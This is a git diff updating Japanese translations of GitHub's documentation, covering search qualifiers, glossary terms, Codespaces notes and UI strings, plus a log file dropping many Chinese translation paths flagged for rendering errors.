+|                            | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues)は、2014 年 5 月以降にマージされた、タイトルに「fast」という単語がある Ruby のプルリクエストにマッチします。 |
 
-## Search based on whether a pull request is merged or unmerged
+## プルリクエストがマージされているかどうかで検索
 
-You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier.
+`is` 修飾子を使って、マージされたかどうかでプルリクエストをフィルタリングできます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix."
-| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error."
+| 修飾子           | サンプル                                                                                                                                               |
+| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:merged`   | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) は、「bugfix」という単語がある、マージされたプルリクエストにマッチします。 |
+| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) は、「error」という単語がある、クローズされた Issue およびプルリクエストにマッチします。   |
 
-## Search based on whether a repository is archived
+## リポジトリがアーカイブされているかどうかで検索
 
-The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository.
+`archived` 修飾子は、Issue またはプルリクエストがアーカイブされたリポジトリにあるかどうかでフィルタリングできます。
 
-| Qualifier     | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to.
-| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to.
+| 修飾子              | サンプル                                                                                                                                                     |
+| ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) は、アクセスできるアーカイブされたリポジトリの、「GNOME」という単語を含む Issue およびプルリクエストにマッチします。      |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) は、アクセスできるアーカイブされていないリポジトリの、「GNOME」という単語を含む Issue およびプルリクエストにマッチします。 |
 
-## Search based on whether a conversation is locked
+## 会話がロックされているかどうかで検索
 
-You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
+`is` 修飾子を使用して、ロックされている会話がある Issue またはプルリクエストを検索することができます。 詳細は「[会話をロックする](/communities/moderating-comments-and-conversations/locking-conversations)」を参照してください。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived.
-| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived.
+| 修飾子           | サンプル                                                                                                                                                                                                                             |
+| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:locked`   | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) は、アーカイブされていないリポジトリにロックされている会話がある、「code of conduct」という言葉を含む Issue またはプルリクエストにマッチします。 |
+| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) は、アーカイブされていないリポジトリにアンロックされている会話がある、「code of conduct」という言葉を含む Issue またはプルリクエストにマッチします。      |
 
-## Search by missing metadata
+## 欠損しているメタデータで検索
 
-You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes:
+`no` 修飾子を使って、一定のメタデータがない Issue およびプルリクエストに検索を絞り込むことができます。 こうしたメタデータには、以下のようなものがあります:
 
-* Labels
-* Milestones
-* Assignees
-* Projects
+* ラベル
+* マイルストーン
+* アサインされた人
+* プロジェクト
 
-| Qualifier        | Example
-| ------------- | -------------
-| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels.
-| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint."
-| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories.
-| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build."
+| 修飾子            | サンプル                                                                                                                                                                                                                        |
+| -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `no:label`     | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) は、ラベルのない、「priority」という単語がある Issue およびプルリクエストにマッチします。                                                                                   |
+| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) は、「sprint」という単語を含む、マイルストーンと関連のない Issue にマッチします。                                                            |
+| `no:assignee`  | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) は、Java のリポジトリにある、「important」という単語を含む、アサインされた人とは関連付けられていない Issue にマッチします。 |
+| `no:project`   | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) は、「build」という単語を含む、プロジェクトボードとは関連付けられていない Issue にマッチします。                                                                    |
 
-## Further reading
+## 参考リンク
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」
diff --git a/translations/ja-JP/content/sponsors/guides.md b/translations/ja-JP/content/sponsors/guides.md
index 3754acf94b..0228985291 100644
--- a/translations/ja-JP/content/sponsors/guides.md
+++ b/translations/ja-JP/content/sponsors/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Sponsors guides
-shortTitle: Guides
-intro: 'Learn how to make the most of {% data variables.product.prodname_sponsors %}.'
+title: GitHub Sponsors ガイド
+shortTitle: ガイド
+intro: '{% data variables.product.prodname_sponsors %} を最大限に活用する方法を学びましょう。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/ja-JP/data/glossaries/external.yml b/translations/ja-JP/data/glossaries/external.yml
index 6f4f57bf2c..6080adab6c 100644
--- a/translations/ja-JP/data/glossaries/external.yml
+++ b/translations/ja-JP/data/glossaries/external.yml
@@ -177,13 +177,13 @@
 - 
   term: デフォルトブランチ
   description: >-
-    The base branch for new pull requests and code commits in a repository. Each repository has at least one branch, which Git creates when you initialize the repository. The first branch is usually called {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, and is often the default branch.
+    リポジトリ内の新しいPull Requestやコードのコミットのためのベースブランチ。それぞれのリポジトリは少なくとも1つのブランチを持ち、これはリポジトリを初期化したときにGitが作成します。最初のブランチは通常{% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}と呼ばれ、多くの場合デフォルトブランチです。
 - 
-  term: dependents graph
+  term: 依存グラフ
   description: >-
     パブリックリポジトリに依存するパッケージ、プロジェクト、リポジトリを表示するリポジトリグラフ。
 - 
-  term: dependency graph
+  term: 依存関係グラフ
   description: >-
     リポジトリが依存するパッケージおよびプロジェクトを表示するリポジトリグラフ。
 - 
@@ -210,7 +210,7 @@
   description: ユーザのメールアドレスに送信される通知。
 - 
   term: Enterpriseアカウント
-  description: Enterprise アカウントは、複数の {% data variables.product.prodname_dotcom_the_website %} Organization のポリシーと支払いを集中管理するために利用できます。 {% data reusables.gated-features.enterprise-accounts %}
+  description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %}
 - 
   term: Explorer
   description: >-
@@ -248,7 +248,7 @@
 - 
   term: gist
   description: >-
-    A gist is a shareable file that you can edit, clone, and fork on GitHub. You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL.
+    Gistは、GitHub上で編集、クローン、フォークできる共有可能なファイルです。Gistは{% ifversion ghae %}インターナル{% else %}パブリック{% endif %}もしくはシークレットにすることができますが、シークレットのGistはURLから{% ifversion ghae %}Enterpriseのメンバーなら誰でも{% else %}誰でも{% endif %}アクセスできます。
 - 
   term: Git
   description: >-
@@ -373,7 +373,7 @@
   description: >-
     ユーザがアクセスできない個人アカウント。ユーザが有料アカウントを無料のものにダウングレードした場合、または有料プランの支払いが期限を過ぎた場合、アカウントはロックされます。
 - 
-  term: management console
+  term: management Console
   description: >-
     GitHub Enterprise インターフェース内で、管理機能を含むセクション。
 - 
@@ -381,7 +381,7 @@
   description: >-
     Markdown は非常にシンプルでセマンティックファイル形式であり、.doc、.rtf 、.txtと大差ありません。Markdown はウェブパブリッシングの素養がない人でも簡単に文章（リンク、リスト、箇条書きなど）を書いたりウェブサイトのように表示したりできます。GitHub では Markdown をサポートしており、GitHub Flavored Markdown という特定の形式の Markdown を使用します。[GitHub Flavored Markdown の仕様](https://github.github.com/gfm/)または [GitHub で書き、フォーマットしてみる](/articles/getting-started-with-writing-and-formatting-on-github)を参照。
 - 
-  term: markup
+  term: マークアップ
   description: ドキュメントのアノテーションおよびフォーマットのためのシステム。
 - 
   term: main
@@ -392,7 +392,7 @@
   description: >-
     多くのGitリポジトリのデフォルトブランチ。デフォルトでは、新しいGitリポジトリをコマンドライン上で作成すると、`master`というブランチが作成されます。現在では、多くのツールがデフォルトブランチに代わりの名前を使うようになりました。{% ifversion fpt or ghes > 3.1 or ghae %}たとえばGitHub上で新しいリポジトリを作成すると、デフォルトブランチは`main`になります。{% endif %}
 - 
-  term: members graph
+  term: メンバーグラフ
   description: リポジトリのすべてのフォークを表示するリポジトリグラフ。
 - 
   term: メンション
@@ -418,7 +418,7 @@
   description: >-
     親チームの子チーム。子（または入れ子）チームは複数持つことができます。
 - 
-  term: network graph
+  term: ネットワークグラフ
   description: >-
     リポジトリネットワーク全体のブランチ履歴を表示するリポジトリグラフ。ルートリポジトリのブランチと、ネットワークに固有のコミットを含むフォークのブランチが含まれます。
 - 
@@ -539,10 +539,10 @@
   description: >-
     プルリクエストについてのコラボレータからのコメントで、変更を受け入れたり、プルリクエストがマージされる前にさらなる変更をリクエストしたりするもの。
 - 
-  term: pulse graph
+  term: パルスグラフ
   description: リポジトリのアクティビティの概要を示すリポジトリグラフ。
 - 
-  term: punch graph
+  term: パンチグラフ
   description: >-
     リポジトリへのアップデートの頻度を曜日または 1 日内の時間に基づいて表示するリポジトリグラフ。
 - 
diff --git a/translations/ja-JP/data/reusables/actions/hardware-requirements-after.md b/translations/ja-JP/data/reusables/actions/hardware-requirements-after.md
index 420cffb4b3..c4caed07af 100644
--- a/translations/ja-JP/data/reusables/actions/hardware-requirements-after.md
+++ b/translations/ja-JP/data/reusables/actions/hardware-requirements-after.md
@@ -1,7 +1,7 @@
 | vCPUs | メモリ    | Maximum Concurrency |
 |:----- |:------ |:------------------- |
 | 8     | 64 GB  | 300ジョブ              |
-| 16    | 160 GB | 700ジョブ              |
-| 32    | 128 GB | 1300ジョブ             |
+| 16    | 128 GB | 700ジョブ              |
+| 32    | 160 GB | 1300ジョブ             |
 | 64    | 256 GB | 2000ジョブ             |
-| 96    | 384 GB | 4000ジョブ             |
\ No newline at end of file
+| 96    | 384 GB | 4000ジョブ             |
diff --git a/translations/ja-JP/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/ja-JP/data/reusables/classroom/assignments-to-prevent-submission.md
index a990682976..ad1874adb9 100644
--- a/translations/ja-JP/data/reusables/classroom/assignments-to-prevent-submission.md
+++ b/translations/ja-JP/data/reusables/classroom/assignments-to-prevent-submission.md
@@ -1 +1 @@
-学生による課題の受理または提出を防ぐには、**Enable assignment invitation URL（課題の招待URLの有効化）**の選択を解除してください。 課題を編集するには{% octicon "pencil" aria-label="The pencil icon" %} **Edit assignment（課題の編集）**をクリックしてください。
+To prevent acceptance or submission of an assignment by students, you can change the "Assignment Status" within the "Edit assignment" view. When an assignment is Active, students will be able to accept it using the invitation link. When it is Inactive, this link will no longer be valid.
diff --git a/translations/ja-JP/data/reusables/codespaces/codespaces-machine-type-availability.md b/translations/ja-JP/data/reusables/codespaces/codespaces-machine-type-availability.md
new file mode 100644
index 0000000000..43f134fbf4
--- /dev/null
+++ b/translations/ja-JP/data/reusables/codespaces/codespaces-machine-type-availability.md
@@ -0,0 +1,5 @@
+   {% note %}
+
+   **Note**: Your choice of available machine types may be limited by a policy configured for your organization, or by a minimum machine type specification for your repository. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" and "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+   {% endnote %}
diff --git a/translations/ja-JP/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/ja-JP/data/reusables/codespaces/creating-a-codespace-in-vscode.md
index d625f57fe9..8e9beaa578 100644
--- a/translations/ja-JP/data/reusables/codespaces/creating-a-codespace-in-vscode.md
+++ b/translations/ja-JP/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -15,4 +15,6 @@ After you connect your account on {% data variables.product.product_location %}
 
 5. 開発するマシンタイプをクリックします。
 
-   ![新しい {% data variables.product.prodname_codespaces %} のインスタンスタイプ](/assets/images/help/codespaces/choose-sku-vscode.png)
\ No newline at end of file
+   ![新しい {% data variables.product.prodname_codespaces %} のインスタンスタイプ](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
diff --git a/translations/ja-JP/data/reusables/desktop/delete-branch-win.md b/translations/ja-JP/data/reusables/desktop/delete-branch-win.md
index 9fb277045f..0540956191 100644
--- a/translations/ja-JP/data/reusables/desktop/delete-branch-win.md
+++ b/translations/ja-JP/data/reusables/desktop/delete-branch-win.md
@@ -1 +1 @@
-1. メニューバーで**Branch（ブランチ）**をクリックして、続いて**Delete...（削除...）**をクリックしてください。 <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd>を押すこともできます。
+1. メニューバーで**Branch（ブランチ）**をクリックして、続いて**Delete...（削除...）**をクリックしてください。 You can also press <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>D</kbd>.
diff --git a/translations/ja-JP/data/reusables/dotcom_billing/codespaces-report-download.md b/translations/ja-JP/data/reusables/dotcom_billing/codespaces-report-download.md
new file mode 100644
index 0000000000..371b57cad1
--- /dev/null
+++ b/translations/ja-JP/data/reusables/dotcom_billing/codespaces-report-download.md
@@ -0,0 +1 @@
+1. Optionally, next to "Usage this month", click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_codespaces %} to the account's primary email address. ![CSVレポートのダウンロード](/assets/images/help/codespaces/usage-report-download.png)
\ No newline at end of file
diff --git a/translations/ja-JP/data/reusables/gated-features/enterprise-accounts.md b/translations/ja-JP/data/reusables/gated-features/enterprise-accounts.md
index a938ca932b..c66cd82910 100644
--- a/translations/ja-JP/data/reusables/gated-features/enterprise-accounts.md
+++ b/translations/ja-JP/data/reusables/gated-features/enterprise-accounts.md
@@ -1 +1 @@
-Enterpriseアカウントは、{% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}、{% data variables.product.prodname_ghe_managed %}{% endif %}、{% data variables.product.prodname_ghe_server %}で利用できます。 詳細は「[Enterprise アカウントについて]({% ifversion fpt or ghec %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts)」を参照してください。
+Enterpriseアカウントは、{% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}、{% data variables.product.prodname_ghe_managed %}{% endif %}、{% data variables.product.prodname_ghe_server %}で利用できます。 For more information, see "[About enterprise accounts]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/about-enterprise-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
diff --git a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
index b0c7d453e6..38a17951ef 100644
--- a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
+++ b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -2,4 +2,4 @@ Before you enable team synchronization for Okta, you or your IdP administrator m
 
 - Configure the SAML, SSO, and SCIM integration for your organization using Okta. 詳しい情報については「[Oktaを使用したSAMLシングルサインオンとSCIMの設定](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)」を参照してください。
 - OktaインスタンスのテナントURLを提供してください。
-- Okta環境にサービスユーザとして読み取りのみの管理権限を持つ、有効なSSWSトークンを生成してください。 詳しい情報についてはOktaのドキュメンテーションの[トークンの生成](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)及び[サービスユーザ](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm)を参照してください。
+- Okta環境にサービスユーザとして読み取りのみの管理権限を持つ、有効なSSWSトークンを生成してください。 詳しい情報についてはOktaのドキュメンテーションの[トークンの生成](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)及び[サービスユーザ](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm)を参照してください。
diff --git a/translations/ja-JP/data/reusables/organizations/internal-repos-enterprise.md b/translations/ja-JP/data/reusables/organizations/internal-repos-enterprise.md
deleted file mode 100644
index c909609156..0000000000
--- a/translations/ja-JP/data/reusables/organizations/internal-repos-enterprise.md
+++ /dev/null
@@ -1,7 +0,0 @@
-{% ifversion fpt or ghec %}
-{% note %}
-
-**ノート:** インターナルリポジトリは、Enterpriseアカウントの一部であるOrganizationで利用できます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
-
-{% endnote %}
-{% endif %}
diff --git a/translations/ja-JP/data/reusables/webhooks/release_short_desc.md b/translations/ja-JP/data/reusables/webhooks/release_short_desc.md
index 29cd01afca..584ed7692b 100644
--- a/translations/ja-JP/data/reusables/webhooks/release_short_desc.md
+++ b/translations/ja-JP/data/reusables/webhooks/release_short_desc.md
@@ -1 +1 @@
-リリースに関連するアクティビティ。 {% data reusables.webhooks.action_type_desc %} 詳しい情報については「[リリース](/rest/reference/repos#releases)」 REST APIを参照してください。
+リリースに関連するアクティビティ。 {% data reusables.webhooks.action_type_desc %} 詳しい情報については「[リリース](/rest/reference/releases)」 REST APIを参照してください。
diff --git a/translations/ja-JP/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/ja-JP/data/reusables/webhooks/webhooks-rest-api-links.md
index 5e86a57ab4..f5674b83d8 100644
--- a/translations/ja-JP/data/reusables/webhooks/webhooks-rest-api-links.md
+++ b/translations/ja-JP/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -1,5 +1,5 @@
 The webhook REST APIs enable you to manage repository, organization, and app webhooks.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} You can use this API to list webhook deliveries for a webhook, or get and redeliver an individual delivery for a webhook, which can be integrated into an external app or service.{% endif %} You can also use the REST API to change the configuration of the webhook. たとえば、ペイロードURL、コンテントタイプ、SSLの検証、シークレットを変更できます。 詳しい情報については、以下を参照してください。
 
-- [リポジトリwebhook REST API](/rest/reference/repos#webhooks)
+- [リポジトリwebhook REST API](/rest/reference/webhooks#repository-webhooks)
 - [Organization Webhooks REST API](/rest/reference/orgs#webhooks)
 - [{% data variables.product.prodname_github_app %} Webhooks REST API](/rest/reference/apps#webhooks)
diff --git a/translations/ja-JP/data/ui.yml b/translations/ja-JP/data/ui.yml
index 5f0b0c0335..2051242c16 100644
--- a/translations/ja-JP/data/ui.yml
+++ b/translations/ja-JP/data/ui.yml
@@ -22,7 +22,9 @@ search:
   placeholder: トピックや製品などの検索
   loading: ロード中
   no_results: 結果が見つかりませんでした
+  search_results_for: Search results for
   no_content: No content
+  matches_displayed: Matches displayed
 homepage:
   explore_by_product: 製品で調べる
   version_picker: バージョン
@@ -56,6 +58,7 @@ survey:
   required: 必須
   email_placeholder: email@example.com
   email_label: If we can contact you with more questions, please enter your email address
+  email_validation: Please enter a valid email address
   send: 送信
   feedback: ありがとうございます！フィードバックをいただきました。
   not_support: 返信が必要な場合は、サポートにお問い合わせください。
diff --git a/translations/log/cn-resets.csv b/translations/log/cn-resets.csv
index d58b3bbe01..a7e8f2dd40 100644
--- a/translations/log/cn-resets.csv
+++ b/translations/log/cn-resets.csv
@@ -1,910 +1,187 @@
 file,reason
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md,rendering error
-translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,rendering error
-translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,rendering error
-translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error
-translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-net.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-powershell.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-ruby.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-swift.md,rendering error
-translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md,rendering error
-translations/zh-CN/content/actions/creating-actions/about-custom-actions.md,rendering error
-translations/zh-CN/content/actions/creating-actions/creating-a-composite-action.md,rendering error
-translations/zh-CN/content/actions/creating-actions/creating-a-docker-container-action.md,rendering error
-translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md,rendering error
-translations/zh-CN/content/actions/creating-actions/dockerfile-support-for-github-actions.md,rendering error
-translations/zh-CN/content/actions/creating-actions/index.md,rendering error
-translations/zh-CN/content/actions/creating-actions/metadata-syntax-for-github-actions.md,rendering error
-translations/zh-CN/content/actions/creating-actions/releasing-and-maintaining-actions.md,rendering error
-translations/zh-CN/content/actions/creating-actions/setting-exit-codes-for-actions.md,rendering error
-translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md,rendering error
-translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md,rendering error
-translations/zh-CN/content/actions/deployment/about-deployments/index.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,rendering error
-translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error
